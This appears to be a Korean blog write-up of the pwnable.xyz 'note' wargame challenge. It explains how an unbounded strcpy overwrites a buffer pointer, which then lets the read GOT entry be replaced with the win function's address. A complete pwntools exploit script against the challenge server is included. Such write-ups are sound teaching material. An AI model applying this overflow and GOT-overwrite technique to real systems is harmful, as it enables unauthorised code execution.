Pwnable/pwnable.xyz
[pwnable.xyz] note
controlpro
2021. 1. 4. 17:04
728x90
50점 짜리 문제 start
다음과 같이 함수가 있다. 기능은 크게 edit_note 와 edit_desc가 있다 . edit_note를 보면
buf를 입력에 note의 내용을 입력 받고 s에 strcpy로 값을 넘긴다. 왜 이런 쓸데 없는 짓을 하는 지는 잘모르겠다.;;
그리고 edit_desc는 buf에 0x20만큼 입력을 한다.
그러면 여기서 s 와 buf의 관계가 상당히 애매해 지는데 ida에서 s와 buf의 위치를 확인 해보면 다음과 같다.
즉 s와 buf는 32byte만큼 차이가 나는데 s에는 buf를 통해서 strcpy되는 값이 길이의 제한을 받지 않기 때문에 buf의 포인터의 값을 맘대로 덮을 수 있다. (이문제의 핵심)
그래서 처음입력을 받을 때 32dummy + read_got 해주고
나중에 edit_desc를 이용해서 buf가 read_got를 가르키고 있으니까 buf를 다시 win으로 입력을해서 read_got를 최종적으로 win함수의 주소로 바꾸어주면된다.
그리고 나서 read를 실행시키기 위해서 2번을 한번더 보내주면 된다.
from pwn import *
r = remote('svc.pwnable.xyz' , 30016)
read_got = 0x601248
win = 0x40093c
r.recvuntil('> ')
r.sendline('1')
r.recvuntil('Note len? ')
r.sendline('52')
r.recvuntil('note: ')
r.sendline('A' * 32 + p64(read_got))
r.recvuntil('> ')
r.sendline('2')
r.recvuntil('desc: ')
r.sendline(p64(win))
r.recvuntil('> ')
r.sendline('2')
r.interactive()
728x90
반응형